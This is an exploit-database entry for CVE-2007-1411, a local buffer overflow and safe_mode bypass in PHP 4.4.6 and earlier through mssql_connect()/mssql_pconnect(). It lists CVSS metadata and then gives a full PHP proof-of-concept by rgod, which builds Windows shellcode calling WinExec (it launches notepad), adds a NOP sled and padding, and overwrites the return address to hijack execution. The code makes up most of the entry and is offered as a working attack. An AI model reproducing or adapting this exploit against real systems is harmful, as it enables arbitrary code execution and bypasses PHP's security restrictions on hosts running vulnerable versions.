PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow and safe_mode bypass

2007-03-13 / 2007-03-14

Credit: rgod

Risk: High

Local: Yes

Remote: No

CVE: CVE-2007-1411

CWE: CWE-119

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

<?php
// PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow
// poc exploit (and safe_mode bypass)
// windows 2000 sp3 en / seh overwrite
// by rgod
// site: http://retrogod.altervista.org
// u can easily adjust for php5
// this as my little contribute to MOPB
$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\xca\x73\xe9\x77". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";
$eip="\xdc\xf5\x12";
$____suntzu=str_repeat("\x90",100);
$____suntzu.=$____scode;
$____suntzu.=str_repeat("a",2460 - strlen($____scode));
$____suntzu.=$eip;
mssql_pconnect($____suntzu);
?>
original url: http://retrogod.altervista.org/php_446_mssql_connect_bof.html

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PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow and safe_mode bypass

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